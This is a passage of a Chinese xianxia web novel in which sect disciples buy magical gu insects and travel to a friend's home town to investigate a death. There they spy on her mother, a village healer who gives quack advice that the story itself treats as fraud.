好在她们是修仙人士,一挥手就能把灵石小山收起来了,屠莱顺便还数了个数,自然是正好的。 石映心临走前才想起来问:“蛊虫怎么用?” 屠莱打了个哈欠:“你打开盒子之后便会知晓。” “好。” 在外等待的明易和顾梦真,见二人出来的表情就知道她们定是买了什么;他们是完全不意外的,这二人就是那种嚷着要“凑热闹”然后自己就跟着热闹的人。 二师兄问:“买了什么好玩意,笑得这么开心?” “有吗?”曾换月想要正色,才意识自己的嘴角翘起来了,“是买了点好东西。” “什么什么?”顾梦真又看向另一个,“映心你也买了?” 见石映心微笑点头,瞧着还有些满意,可把他好奇坏了:“你们到底买了什么,快拿出来给我瞧瞧。” 曾换月转眼珠子打量一圈:“这里这么多人不方便,我们回去说。” 明易朝两个师妹颔首:“走吧。” 于是回到石映心二人的住所。曾换月把门关严实了,这才神秘兮兮地拿出那个小木盒来,打开给几人一瞧,里头趴着一只安分的白色小虫,她压着兴致介绍道:“这叫‘打鸡血虫’,一只可让人人七日不吃不喝不睡不累,跟打了鸡血似地去修炼,不过七日后要补眠三日三夜。” 她虽然没说屠莱宣传的“抱佛脚”的用途,但她两个师兄哪里不知道她,一听就明白了她买这玩意的打算。顾梦真无语一笑:“你就看你用这玩意应付大考,师父削不削你吧!” 明易也有些不赞同道:“寻常每日好好修炼便是了,何必用这么极端的手段?怕是会对身子有影响。” 曾换月把盒子啪地关上,收回囊中:“我没打算每回都这么做啊,只是想着日后如果可能有用上的时候……而且屠莱说了,这打鸡血虫是他卖得最好的一种蛊虫,可见大家都和我差不多嘛!” 明易:“世上是有很多考前抱佛脚的人,但这不是你唯一能选择的修炼方式。” 曾换月:…… 她说道理是说不过大师兄的,噘着嘴巴不能反驳,用胳膊肘碰了碰边上的师姐,偷偷传密音道:“大师兄和二师兄好扫兴哦,我看师姐等会你也要被说。” 石映心淡定道:“他们只是说两句,不会真拿我们如何。” 曾换月闻言,觉得那倒也是哦,还是她师姐想得开;总之她的目的达到了,听几句耳旁风的教训又如何呢? “你这只打鸡血虫要多少灵石?” “……七十灵石。” “还行吧,毕竟蛊修难得,不过你也真舍得。”顾梦真有了思量,又问另一个,“映心你买了什么?” 石映心拿出她的一看就更贵的青铜盒子:“这是读心虫,可让人意识不清地吐露真话,一次半刻钟,一只蛊虫可用七次,仅能对一人使用。” 这下大伙就很有疑惑了,顾梦真问:“映心,这虫子的技能还没你照人之术的九牛一毛厉害,你买这做什么呀?” “对啊师姐,”曾换月也道,“我方才也想问呢。” 石映心却不愿多说,只是让几人知道有这么一回事,然后就把读心虫收了起来:“我自有用处。” 见她还不乐意说呢,三人恨不得自己也有读心术,好好读一读她心中到底在想什么。二师兄苦着脸问:“这没用的虫子多少钱?” 石映心:“三十灵石。” 顾梦真:“你骗人!” “这是善意的谎言,二师兄,”石映心真诚地看着他,“为了让自己不心疼,你就相信我好了。” 顾梦真:…… 曾换月表示支持:“对啊,师姐都是为了你好。谁让你天天心疼我们的钱!” 顾梦真:… ……… 就连大师兄也道:“映心也不是不懂事的孩子,她会为自己打算。” 顾梦真哼哼道:“我只是不想你们受骗吃亏,这些商贾的套路一个接一个的……下回还是带我去吧,起码能讨价还价。” 说到这个他又絮絮叨叨起来:“你们二人一起去买,怎么都应该让对方打个折嘛。映心的那个肯定很贵,一定能说价的……” 曾换月捂住耳朵:“哎呀你好烦呀,买都买了!” “那不是还有下次嘛……” 眼见二人又吵起来,明易适时转移了话题:“对了,卖你们蛊虫的蛊修是个什么样的人?” 他提到这个曾换月就有的说了,立刻激动起来,手舞足蹈声情并茂地把她和师姐的遭遇说了一通,气呼呼地总结道:“反正不好相处!” 明易有自己的重点:“方才你们说,他穿着冬日的衣袍?” 石映心颔首道:“嗯,屋里虽说有些阴冷,但如今是八月盛夏,实在不至于,也许是他体质特殊。” 明易若有所思道:“传闻蛊虫适宜在阴冷的环境中养育,也许对蛊修的体质也有要求,并非人人都适合当蛊修。” “不过……蛊修和普通的蛊师有什么差别呢?”石映心冒了个问号。 大伙沉思片刻。小师妹道:“额,差别在蛊师是凡人,但蛊修是修士?” 第185章 石映心点头:“嗯,那他们的蛊虫有何差别呢?” 二师兄猜想:“蛊师的蛊虫更多的是凭借虫子的天性对人产生影响,比如被咬了就会瞎或者死;但蛊修的蛊虫在仙法的影响下可以有更多的技能,比如你们买的打鸡血虫和读心虫。” 石映心点头:“很有道理,不过蛊修和其他修士也有差别吗?为何这么稀少呢?” “也许是和天赋有关。”大师兄说,“就像你我擅长习剑,天生对剑招有领悟,对器丹和符阵却不太擅长。事实上大多数修仙者都有基础能力来学习各类法门,但入门是一回事,进阶则需要天赋和机遇,无前者有后者也没用。” 石映心大概有些明白了:“原来是这样。” 曾换月心想,这不就是小众技能吗?怪不得吃香呢。 几人说到这,后头忽然响起敲门声,曾换月朗声道:“谁啊?” “是我。” “哦,你进来呀。” 屠芜走进门来,一脸疲惫的脸色,看得几人有些惊讶。她一进屋就自顾自地到了几杯茶水喝,喝吧往那一坐,长长地叹了口气。 四人面面相觑,曾换月猜想到她这虚脱的模样是为何,憋着笑问:“哎呀屠芜,你这是怎么了,没精打采的?” 屠芜又叹了口气问道:“你们还不知道任务是什么吗?” 曾换月:“不知道啊,怎么了?” “我突然有急事。”屠芜说,“我要回家一趟。” 明易:“方便说是什么急事吗?” 屠芜目露无奈:“你们也见过我表妹戴翠衣了,实不相瞒,她的未婚夫不知为何死了,不过几日便要下葬,我得回去帮她查明那个死人的死因。” “啊?”顾梦真觉得其中有很多古怪的地方,“她未婚夫是被人害死的吗?那不该报官吗?” “对啊,”曾换月也道,“叫你回去有啥用啊?” “说来话长。”屠芜想想就心累,但还是提起一口气道,“我们老家那里远离朝廷,一般族里有什么事都是由长辈主管处理,冤假错案屡见不鲜……至于为何叫我回去,因为翠衣怀疑那男人是中虫毒而死,想我回去帮忙探个究竟。” 等等,这个前情提要总觉得在哪里听过? 屠芜见几人欲言又止的样子,疑惑道:“你们怎么这副表情?” “或许……”曾换月眼角抽抽,“你听过三足乌族吗?” 屠芜:“什么东西?” “就是一个少数人族。” 屠芜摇摇头:“没听过,不过我确实是少数人族不错,你们知道螺族吗?” 四人表示不知道。 “这也正常,”屠芜耸了耸肩,“外洲人是不太清楚,不过我们螺族在药神洲还算有些名气……好了,重点是我要回去了,你们的任务怎么办?” 哎呀这话说得,曾换月亲昵地拍拍她的肩膀:“自然是跟你一起回去了,你的事就是我们的事!” 屠芜有些狐疑的受宠若惊:“我们关系似乎没好到这地步,再说我也不想耽误你们做任务,我尽量早点回来……” “你误会了屠道友,”明易客气地解释道,“我师妹说的‘你的事便是我们的事’,这并非是感情用事的说辞,而是客观事实。我们这两日不着急找任务,正是在等你的要事寻上门。” 屠芜是个聪明人,很快明白了他的意思:“你们知道我一定会有要去做的事……哪怕相遇的时候还无事发生?” “嗯。”石映心点点头,“这是我们做了这么多任务的经验之谈。” “怎么会这样……”屠芜的面上冒出茫然。 石映心:“这是因果牌的指引。” 屠芜:“可因果牌怎么会知道我表妹的未婚夫会死,她又会找到我来帮忙呢?再进一步说,因果牌究竟是想你们做什么,若目的是找到那男人的死因,为何不直接叫你们去找翠衣,或是干脆引你们去我家乡?” 这把四人也给问住了。 “你想这么多干嘛?”曾换月劝她,“因果牌的事想再多也是想不明白的,总之一步步去做便是。” 屠芜看看几人:“你们不觉得很诡异吗?” 顾梦真:“好像有点吧,不过因果牌不会害我们的。” 曾换月:“是啊,习惯就好。” 屠芜皱着眉头正要说什么,忽然听石映心问:“你在害怕什么?” “什么?”她愣愣地看向问话的人。 “修仙界皆知因果牌来自万事树,万事树是天赐神树,八大仙门皆默认这是天降大任于归壹派……”石映心和她对视着,不紧不慢道,“既是天意指示,自然有它的道理,修仙者无法完全揣测再正常不过;你这样质疑,难道是害怕被因果牌发现了自己的秘密?” 屠芜听完这一通,神情明显变得僵硬,呆呆地望着石映心,微微张嘴似乎想说什么,但大伙只听到沉默。 “不过,”贴心的石映心一转话风道,“每个人都有秘密,我们不好奇你的秘密,只是想帮你完成任务。” 屠芜闻言也不敢松口气:“……你说的是真的?” 石映心:“我们只是想完成任务。” “好。”屠芜暗中庆幸她们的分寸感,颔首道,“既然如此,我便先多谢几位的好心相助了。” 明易觉得还是要和她说清楚的:“也可能是添麻烦……还请你多担待。” 屠芜笑了笑道:“我这事的麻烦可能比你们想得还要复杂……唉,到时你们便知晓了;对了,我与翠衣约好明日一早出发,几位记得做好准备。” 这就出发了?顾梦真问:“对了,你老家在哪?” “螺城。”屠芜顿了顿,“罗宝山边上的一个小城池。” “罗宝山?”曾换月的记忆有些反应,“我好像在哪听过?” 她师姐说:“罗宝山石窟,万蛇草生长的地方。” 曾换月恍然道:“哦,是哦!它既然能长这么稀有的草,是不是还有其他稀奇的玩意?” “是。”屠芜眉头微蹙,“不过世上的机遇皆与危机并存,罗宝山石窟并非是普通的地界;长久以来,时有外人想进入石窟寻求稀世珍宝,往往是去而不返……而万蛇草,不过是在罗宝山石窟最安全地带生出的一种难寻的草药罢了,与石窟中其它危险相比不足为奇。” 听到什么稀世珍宝,顾梦真已经在咽口水了:“人人有去无返……这么危险啊?那里头的宝贝到底是什么,竟叫人不顾危险趋之若鹜?” 屠芜冷静的目光看向他:“传说有西王母的不死之药。” 西王母……不死之药? 这把几人直接听愣了。曾换月一时眼睛都不会眨:“不是……这也太传说了吧?” “所以只是传说。”屠芜微微耸肩,“是真是假谁都不清楚。” 曾换月对不同时期不同地域有关神话的传闻很有不同一事已经习惯了,于是首先问:“你说的不死之药,是话本中给了后羿不死之药,嫦娥吃下后就飞到月宫当神仙的那个……不死之药吗?” “我听过这个故事,”屠芜道,“也许是,也许不是。毕竟谁都不知道吃下不死之药后会如何,所以民间的百姓编撰出这些凡人吃了要就会变神仙的故事也正常;毕竟在他们印象中,神仙便是不老不死的,” 曾换月便问:“那你们这有关西王母的传闻是怎样的?” 屠芜望向一边半开的窗子,屋外是茂盛的景色,她目露回忆道:“传闻中,西王母住在昆仑不死之山,半人半兽,容貌可怖,本是掌管瘟疫刑杀的瘟神和刑神,人人避之;后炼制出不死之药,因此被奉为吉神,受百姓爱戴。” 在曾换月的印象中,西王母通常是影视剧中的女神仙模样,后人将她演变成道教中的王母娘娘,掌管着仙境瑶池和长生不老药……于是王母娘娘就变成了家庭守护神。 这么一想,“长生不老药”和“不死之药”其实本质上是一个东西…… 她沉思的时候其他几人其实也说了些话,石映心见师妹一直沉默着走神,奇怪地问:“换月,你怎么了?” “……啊?”曾换月回过神来,不知为何心里有些复杂,简单地将“王母娘娘”的事说了一番,“如此如此,这般这般,这就是我老家那边有关西王母的故事。” 屠芜听了很意外:“竟然完全变样了,怎会如此?” “唉,各种原因吧。”曾换月耸了下肩,“兜兜转转就这样了,好像只剩下一个她有‘长生不老药’也就是‘不死之药’的这个特点没太大变化。” “看来人们并不在意她原来是个怎么样的神,甚至连她的天性神职都能轻易改变,”石映心语气淡淡,“只需要她的不死之药。” 一时不知为谁感到可悲。 “人都是为了一己之私的啦。”顾梦真指了指自己,嘿嘿笑道,“说实话,我也很想见识一下那个不死之药,难道你们不想吗?” “不想啊。”曾换月撇嘴,“我要这不死 之药有何用?到时候大家都死翘翘了只留下我一个人吗?才不要嘞。” 顾梦真“啧”了一声:“也没说要给自己用啊,但一定能卖个天价!” 话说到这他感到一股冷飕飕的视线,转头看去是他大师兄,见他面无表情道:“怀璧其罪,小心惹火上身。” 顾梦真欠揍地又嘿嘿了两声:“大师兄你想得也太远了吧,这就是一个真假未知的传说,我也就想想嘛~不过要是到时候有机会的话,我还真想去这个罗宝山石窟看看……” 曾换月立刻瞪他:“你没听屠芜说那里很危险,为了钱你连命都不要啦?” “哎呀不是!”顾梦真连忙澄清道,“屠芜不也说了万蛇草生长的地方还算安全吗?我们就在安全的边界看看不行吗?” “你这人真的是……” …… 第186章 屠芜看着闹闹哄哄的四人,不知为何原本沉重的心情轻松了一些,她长吁了一口气,站起身来对几人道:“其实罗宝山就在药神谷附近,它毗邻着谷神森林的尽头,御物飞行过去也就两刻钟多;我家乡螺城和罗宝山之间只隔了一座山。” “这么近啊?”顾梦真有些意外,“听起来很方便嘛。” “只是御物飞行比较方便罢了。”屠芜微微摇头,“对凡人来说,隔着谷神森林和罗宝山就是一辈子也去不了几次的地方。走森林不能走,绕过森林后还要爬山,山势崎岖不说,山中也有许多危险……光是这个原因,便让我们螺族与外界的交流少之又少。” 曾换月本来没什么感觉,心说不就一片森林两座山,有这么夸张吗,但这会联想到她之前看过的那些被拐卖到山里然后逃不出来的案例,那山可不是简笔画上的倒三角,实际恐怖得很,忽然又理解了:“这样啊……怪不得。” 屠芜和她们简单交代了几句一下明早出发的事情就准备走了:“那你们今晚早点休息,我还要先去同我哥说一声。” 四人一愣:“你还有哥哥也在药神谷?” 屠芜也愣:“是啊,我没和你们说过吗?” “没有啊。” “没有就算了吧,也不是很重要。”屠芜想了想,扯了个笑道,“有机会再介绍你们认识吧,那我先走了。” 走了两步她忽然顿足回过头来,投来好奇的眼光:“对了,你们方才说因果牌指引你们去过另一个少数人族的城池,叫什么三……” 明易:“三足乌城。” “对,就是这个,”屠芜问,“后来你们的任务完成了吗?” “那当然了,”曾换月抬起下巴骄傲道,“就没有我们完成不了的任务!” 屠芜见她这么得意,心中也感到一些安心:“那就好,看来那个三足乌城应该在你们的帮助下解决了危机,及时止损了吧?” 屋里的四人突然安静下来,眼神很清白地望着她。 屠芜看看她又看看他:“怎、怎么了?” “算是吧,”石映心理智地说,“人都死光了,情况自然不会变得更坏。” 因为这就是最坏的情况啦。 屠芜:…… 等等,她要不再考虑下明日要不要带这四个人回去好了…… 这会是已经来不及了,屠道友。 * 她们早该想到的……想不到也正常,毕竟只是同姓而已,怎么就这么刚巧的、屠莱会是屠芜的哥哥呢? 几人站在屠芜的院中,经她介绍了彼此。 知道这件事后反应最大的是顾梦真,见他捶胸懊恼道:“早知道这回事,我两个师妹就不必花那么多灵石了!” 屠莱瞥他一眼,冷酷道:“不必这么懊恼,熟人不打折。更何况你们和小芜也不是很熟。” 屠芜在边上一耸肩道:“我哥就是铁公鸡一只,连我在他那都讨不到几块灵石的便宜。对了,你们稍等一会,我去屋里拿个东西。”说罢便飞回了屋中,留几人在院中等待。 听到屠莱对自己的亲妹妹都这样,顾梦真便觉得好受一些,又听大师兄问:“屠莱道友今日可是要与我们同行?” 屠莱对明易的印象还是不错的,觉得这人看着就靠谱,像那种不会讨价还价而是听到多少钱就付多少钱的正派人士:“不错,其实这是我们师父,也就是落叶长老的吩咐。” “啊,”知道屠莱要跟着去,最明显不乐意的是曾换月,“为什么啊?” 屠莱瞥她一眼:“师父说我许久未回乡省亲,该回去看看。” 他话音刚落,三人就听见石映心的传密音:“前一句没说谎,这一句有所隐瞒。” 明易便知道了:“看来是落叶长老有任务交代给他。” 曾换月:“哼,他别来添乱就好。” 顾梦真:“咦,你们不是说他昨日穿着冬日的衣袍吗?今天好像就是普通的衣衫啊,不过这面料感觉密不透风的……看起来挺贵的。” 石映心:“我们用完早膳再走吗?” ……真是各有各的重点。 明易脑子里要盯着师弟师妹的乱七八糟的想法,面上还要和屠莱周旋,他大概是听了屠芜说了大概的情况,但这会又问起了因果牌和任务的事情,明易谨慎地敷衍着他。 就在这时,屠芜从屋里出来了:“我好了,我们出发吧。” 曾换月问:“你那个表妹呢?” “翠衣很着急,昨晚就先回去了。” “哦。” 于是一行六人迎着日光就此出发。 从谷神森林进入药神谷需要弟子令牌的指引,出去便不需要了,只要往西北的方向一直飞便能穿越森林。 石映心御剑时本还想观察一下森林,但郁郁苍苍的树冠将林中的景色几乎遮得严严实实,像是一片辽阔神秘的绿色海洋,完全瞧不清里头有什么,看久了还会觉得神智也要迷路,有些头晕。 比如小师妹就靠在了她的肩膀上:“我的天,这森林有毒,不能盯久了。” 石映心也摇摇头让自己清醒一点:“望着远方和前方看。” “好。”懒懒地应了一声。 她们没飞很久便到了谷神森林的尽头,暂时停在方才飞行时就觉得近在眼前的山边休整。落地后,屠芜朝面前这座看起来平平无奇的山说:“这就是罗宝山。” 她们便看向入山口,石阶蜿蜒而上,很快一个大转弯就不见了踪影,让人们探究的视线也戛然而止。边上有一块一人高的大石头,上头写了“罗宝山”三字;回头看,谷神森林茂盛的树木堪堪止步,风吹衣摆还能沾上灌木枝叶。 谷神森林果真紧挨着罗宝山。 顾梦真感叹道:“就这么看着……还真是平平无奇啊。” 屠莱抱着胸在边上说:“罗宝山最神秘的地方是石窟,其它地方倒没什么,就是寻常的山罢了。” 石映心听他的语气:“你去过石窟?” 屠莱都没瞅她,只是回话道:“药神谷的弟子去罗宝山采集草药虫蛇的不在少数,不过基本没人会进石窟之中。” 石映心便没了兴趣:“哦,你只是路过在门口看看。” 屠莱:…… “你们药神谷的弟子都这么胆小的吗?”曾换月却觉得不对啊,“总会有人作死的吧?” “有啊,所以都死了。”屠芜一脸坦然,“我之前不也和你说了吗,去石窟中的人很多,但都是有去无返,其中也包括我们药神谷的弟子。” “因此,”屠莱跟着补充道:“谷主早在几十年前就下过命令,不许谷中弟子进入罗宝山石窟之中,若有违背者也不会给予援救,任由死活。” 救都不救啊。 四人面面相觑,一时都有些难言的心情。 “休息好了就走吧。”屠莱结束了话题,“早去早回。” 大伙也这样想的。 飞在罗宝山上空的时候,石映心时不时往下望,但确实就是平平无奇的山,没什么看点;甚至她不 知不觉地飞到另一座山上时也没有很快察觉。 就像屠芜说的,从谷神森林出来,飞过两座山,就到了她的家乡螺城。 螺城依山而建,大多在平地,有小半的区域在山上。自空中望下,除了房屋之外,最明显的便是一排排的田地;这会是大早上,夏日的太阳已经炙热,土地上有不少人在弯腰劳作,还有几只骡子垂头停驻着,都是面朝黄土背朝天。 落地城门口,屠芜问她哥:“先去看看娘?” 屠莱没意见:“也好,顺便问问吴丙的事。”吴丙就是戴翠衣的未婚夫吴哥哥。 四人对一切都觉得新鲜,也乐意去别人家里做客,屠芜一问起来便答应了。从城门口顺着大路走上去,一边听着屠芜的介绍一边转着眼珠子不停地打量着新地方。 螺城的房屋有干栏木楼房,也有砖瓦楼房,基本是双层,后者看着更漂亮稳固一些,许多都是三坊一照壁的格局,屠芜说可以挡风。这里的人似乎很喜欢狗,每个人的家门口都摆着一个狗石雕。 偶尔在路上遇见的村民都穿着螺城的特色服饰,先不说衣衫,奇怪的是在这里的每个女人都会戴着厚实的面纱,只露出一双很灵活的眼睛, 见了她们,都要停下手中的活用眼睛直勾勾地看过来。若是边上有同伴的,定要头挨着头开始窃窃私语。 修仙的人耳力好,风带过来的一点声量都听得见: “这给是金舍嬷的小孩?” “可不就是嘛嘎!” “这俩小孩一年到头也没见回来几次,这日头从西边出来了嘎!” “可不是噻,去外头当了仙人就忘了父老乡亲,不稀罕回来了嘎!” “咩?怎么还带了四个生脸的小孩?” …… 几人都听得清清楚楚,不过这些族人的话并未影响她们的情绪,除了无关紧要四人听个热闹之外,有关紧要二人也一副习以为常的模样。 只是走近的时候,这些说小话的族人们就刻意地停住八卦,仿佛眼神不好要等人走到眼前了才恍然认出来一般惊讶地同屠家兄妹打招呼,说“怎么回来了嘎”“在外面过得好不好嘎”这些寒暄的话,又叫她们看完金舍嬷来家里吃馒馒做客…… 屠家兄妹对这些虚伪的热情和欢迎的态度是非常真实的冷淡,顶多“嗯”一句加上一个点头就算敷衍到位了,脚步不停地继续往前走。 石映心问:“金舍嬷就是你们的娘?” 屠芜说是。 石映心道:“好奇怪的名字。” 屠芜摇摇头:“我娘姓金,舍嬷是族人们对她的称呼,算是一种职称吧。” 第187章 “职称?你娘是做什么的?” 屠芜的脸色犹豫了一下,似乎是在想要怎么说,她哥哥替她道:“装神弄鬼地帮人治病,这是她的主要职分。” 石映心还没反应过来“装神弄鬼”和“帮人治病”是怎么联系起来的,她大师兄就在边上为她解释道:“舍嬷类似于三足乌族中少司命的存在,不过具体情况是不太相同的。” 后边接着一句传密音:“螺族中的舍嬷地位并没有少司命那么高,手上也没有什么权力。” 他刚传完密音,就听屠芜道:“我娘是在成为寡妇之后才去拜师当的舍嬷……事实上,只有成为寡妇的女人才能去做舍嬷,这是族中默认的规矩。成为舍嬷之后,娘便有钱将我和哥哥拉扯大了。” 曾换月便有问题:“为什么会有这样的规矩啊?” 屠芜摇摇头:“不清楚,说不明白。” 屠莱冷笑一声道:“说明白了估计也是个叫人笑话的理由。” “你娘一人把你们兄妹养大真不容易啊,”顾梦真感叹道,“你们和她的关系肯定很好吧?” 这把屠家兄妹俩都问沉默了。 “娘她不太喜欢我和哥离她太近,”屠芜似有些落寞道,“叫我们没事别回去。” 顿了顿又补充道:“她是个要强的人,好不容易将我们兄妹送去药神谷当仙人,自然想我们好好修炼,成为一个有本事的修士。而且她常说,既然已经入仙道,就不必再牵挂人间的儿女情长了……” 听到这里,几人已经脑补出一个孤寡但满心为子女的慈爱大娘形象。 “可能是嫌我们烦。”屠莱冷漠地丢下一句,往前边抬了抬下巴,“这就是金舍嬷的住处了。” 四人抬头望去,金舍嬷的屋子建在山地上,后边几乎没有其他房屋了,她这屋算是处在螺族小城的最高处;同时也是她们一路走上来规模最大、装修最新,整得最豪华的砖瓦房,最显眼的是院墙都挡不住的三层高楼,屋檐飞翘。 虽说比不上她们见过的许多大殿,但和螺城中其他较为朴实的房屋相比…… 有些滋润了哈。 屠莱走上前敲了敲门环。 里头有人应了一声,随着一阵脚步声传来,门很快被打开了,出现一个戴着深蓝色面纱的大娘的脸;见到来者,她露在外头的双眼先是瞪起惊讶,后又弯成一个欣喜的弧度:“小莱?你、你咋个回来了嘎?” 大娘走出门,又看见屠莱身后的屠芜,更是高兴地上前抓住了她的手道:“小芜也回来了?好啊,好啊!今天是什么大喜的日子?!” 归壹派四人看这团圆的场面有些感动,曾换月扒拉了一下屠芜道:“你还说你娘叫你们两个没事别回来,我看她这不是挺高兴的嘛?” 屠芜回头看了她一眼,眼中有许多一言难尽,但她还是用一言解释清楚了:“这位是我姨妈,也就是我娘的阿姐,我娘雇佣她做家中的管事……对了,她就是戴翠衣的娘。” 四人总算反应过来。 这会金姨妈也注意到她们几个外人了,非常热情地一边同她们寒暄一边将她们引进门。院子很宽敞,被搭理得井井有条,四合五天井的格局。 一进院中几人便听见正房方向有人声传来。屠芜打断絮絮叨叨的金姨妈:“娘可是在接待客人?” 金姨妈这才反应过来,恍然一声道:“哎呦,差点坏事!那你们就先随我去花厅歇一歇。” 屠莱却说:“我回我屋中看看。” 金姨妈道:“小莱,你这回来得太突然了,姨妈还没收拾出来呢!” 屠莱说不必收拾,他自己看着办,然后转身就走了。 这时候石映心对屠芜道:“屠芜,你也许久没回来了,不如也回你的屋里看看?” 屠芜本有些这意思,但想着要招待四人便没去,这会客人主动提出来了,她就起了些心思,微微颔首道:“那我去去就回,你们先用些茶点。” “好。” 她一走,明易就对金姨妈道:“金大娘,一路走来我们皆有些疲累,不知您可否去做些简单的饭菜给我们享用?” “对啊对啊,”曾换月捂住肚子道,“我肚子好饿啊大娘……” 顾梦真也跟上:“我也是我也是,这山路走得我饥肠辘辘的……” 难怪说会喊饿的孩子有饭吃,金大娘本就对这些和自己外甥差不多大的小孩很有慈爱心,那受得了她们饿肚子,连忙应和着去做饭了。 人家前脚刚迈出去,四人后脚就跳了起来:“走,去看看金舍嬷在干嘛。” 说完也顿住了,彼此面面相觑:“总不能全去吧?” 敷衍金大娘还好说,被屠家兄妹发现了可不太好。曾换月说:“方才屠芜提醒金大娘,似乎是不太想让我们知道她娘在做什么,还是说不敢打扰她娘?但这样整得我更好奇了啊!” 顾梦真左看看右看看:“那谁去啊?” “这样吧,”明易提了个主意,“我一人去,你们三人分出听力灵识跟着我。” 元婴期后便能整个元婴出窍,留下空的躯壳,也能单单分出一些灵识,比耳力灵识、眼力灵识等,但分出去后本体就会丧失对应的功能。这个技能听着很灵活,其实很容 易出漏洞,所以用的时候不多。 比如这会石映心说她还要多分一个眼力出去,于是她本体就变成了又聋又瞎,干坐在那里哪也去不了,别说屠芜和屠莱了,就是金大娘也会发现不对劲;不过好在有个本体在这,一能装模作样,二能及时让灵识回来。 明易用隐身诀隐匿了身形,怀中揣着四个灵识,悄然来到了有些动静传出的正房。他凑到窗户边上,无声地将窗纸划开了一道口子,他怀中的四个灵识立刻等不及地飘了出来,一个挤一个地要进去,结果互相卡着了。 明易无声叹了口气,只好一个个的帮它们塞进去;而他自己就贴着墙站着,静静地听里头的动静。 “……金舍嬷,我娘子她不知为何又发病了啊!” 一个中年男人疲惫且无奈的声音,听着快崩溃了。 石映心的眼力灵识已经看清了屋里的景况:主位上坐着一个带着黑色面纱的女人,她身着与其他族人很类似的衣袍,但和三足乌族司命的祭祀服有些感觉上的相似,整体色调偏暗沉,就连她露在外边的一双眼睛也画上了黑色的妆容。 这应就是金舍嬷。 她对边跪坐着一男一女,男人的头发半白,面色疲劳脸色枯黄;女人软塌塌地坐在地上靠着桌子,面纱外的眼睛垂落下来,看着互相玩弄的手指头,虽然瞧着有点神志不清,但状态似乎还行? 二人一对比,感觉男人病得更严重欸。 男人恳切地对金舍嬷道:“金舍嬷,求你帮帮我吧!她这样时不时地就发病,我们一家子人都受不了嘎!我老娘大把年纪了,平日要照顾我儿子不说,还得时不时照顾她……这,这如何是好啊!” 他话音一落,不等金舍嬷说话,他娘子忽然激灵了一下,举起拳头就往他身上砸,一边砸一边嘴里骂起来:“贱人!贱人!该死!该死——” 男人没有惊讶,只是习以为常地叹了口气,一边胡乱地试图将女人的两只手禁锢起来,一边无语地嘟囔道:“怎么还越打越重了?再这样下去就怕真要打死我了……” 就在这时,一直漫不经心地沉默着观察二人的金舍嬷终于开了金口:“好了,都安分点。” 神奇的事情发生了,原先还在挣扎着打男人的女人一听这话立刻安静下来,收回作恶的双手,又回到了方才安安静静坐在地上靠着桌子玩手指的状态。这改变竟然只需要金舍嬷一句话几个字的功夫。 男人露出惊讶的表情,忽然回过神来,连忙转头朝金舍嬷拜了拜:“金舍嬷天神下凡、神力通天,还请帮帮我!我只是想要我娘子回到从前那贤惠善良的样子啊!” 四个灵识在天上飞来飞去,对于这滑稽混乱的一幕似乎有些兴奋。 又听金舍嬷不紧不慢道:“你前两回来找我,我为你娘子驱邪开药,回去之后可有效果?” 男人忙说:“有效果的,有效果的!只是……药吃完了便没有了。” 说到这他迟疑地问:“难道这药还要吃一辈子?这……我哪有这么多钱啊?金舍嬷,你有没有药到病除的办法?” “药到病除?”金舍嬷轻笑一声,语气嘲讽,“你可知道为何她有这疯病,而且迟迟不好?” 男人愣愣道:“不、不知道嘎?” 金舍嬷黑细的眉毛一挑:“这都是因为你。” 男人呆住了。 不等他再问,金舍嬷就继续说道:“你也清楚,我们螺族女人过了二十后还未婚嫁的话就会发疯病,轻则易怒,重则癫狂伤人……她们为何要婚嫁?嫁的便是男子的阳盛之气,如此便能压制疯病,转为来月事时的阵痛……” “而你,”她伸出一根手指头,对着面前的男人摇了摇,“你的阳盛之气太弱了。” 男人听傻了:“阳、阳盛之气?” 金舍嬷:“换句话说,就是不够男人。” 男人(不够版):…… “哈哈哈哈哈哈!”这会还笑得出来的当然不是男人,是男人旁边不知为何笑起来的女人,“哈哈哈哈哈!哈哈哈哈……” 空中飘的四个灵光随着笑声也晃出了残影,看着好不欢快。 第188章 男人听这笑声,渐渐地恼羞成怒起来,对着女人吼道:“贱人,你这个疯癫的贱人!老子娶你有什么用!?” 贱人也不知听懂没有,不过猛地止住了笑声,扑上来扯他的头发、咬他的脸,抓他的皮肉……抓得男人惨叫连连,阻止也不是,回手还打不过。 金舍嬷瞅着这鸡犬不宁的场面,忍不住翻了个白眼,一拍边上的桌子道:“够了!” 还是她的话有用,闹剧总算安静下来,一男一女瘫坐在地上,都是一副乱七八糟的狼狈模样。 金舍嬷淡定地说:“我方才说的你听明白了?” 方才说的……是指他不够男人的事吗?打斗一场后的男人面色苍白,如今更是表情难看,但还是迟疑地点了点头:“是,听明白了,还请金舍嬷想想办法……” 金舍嬷微微颔首道:“既然你们两个都有问题,那就双管齐下,既要治你的阳盛之气,又要治你娘子的疯病……我先为你们求神驱邪,再开两幅药方,你带着你娘子回家之后,定要照我说的话做。” 男人唉声叹气地答应了。 金舍嬷便站了起来往前走了两步,抬起双手和一只脚来,做了一个有些奇怪的动作,但似乎是要舞蹈的架势? 可不等四个灵识查看更多,它们很快感到大师兄的召唤,七上八下地飘出了窗纸的缝隙,又回到了明易的怀中。 另一边的花厅。 金大娘走进门来,笑眯眯道:“不知你们喜好,就简单做了些卤面,几位将就尝尝,不要嫌弃嘎。” 三个没了听力的人面面相觑,偏偏还看不太懂唇语,但不应声也不太好,所以干脆尴尬地“嗯嗯,哈哈哈”了几声。 金大娘:? 她左右看了看:“对了,还有一位仙人呢?” 三人:“嗯嗯,哈哈哈……” 金大娘:?? 她这时候还以为是不是自己说错话了,一时愣在原地不知所措;刚好屠芜也回来了,走过来问:“怎么了姨妈?” 金大娘也不知道要怎么说啊:“方才几位仙人说肚子饿了,我便去做了几碗面……对了小芜,你们兄妹俩不是最爱吃我做的卤面了?一起去吃点吧。” “好,多谢姨妈。”屠芜应了声,看向屋内瞪着大大的三双眼睛,“奇怪,明道友呢?” 她话音一落,明易的声音便从身后传来:“我闲着无聊,在院子里随意逛了逛,看到一些没见过的花草。” “哦,”屠 芜回头说,“那都是我娘种的,可以制药炼虫治病,但大部分都有毒,你们别乱碰;还好你说一嘴,我差点忘记提醒你们了。” 明易:“原来是这样。” 与此同时,收回了眼力和耳力的石映心松了口气,这才觉得自己是自己,手脚也灵活了,立刻起身走了两步道:“走吧,去吃面。” 曾换月也跳了起来:“吃面吃面!” 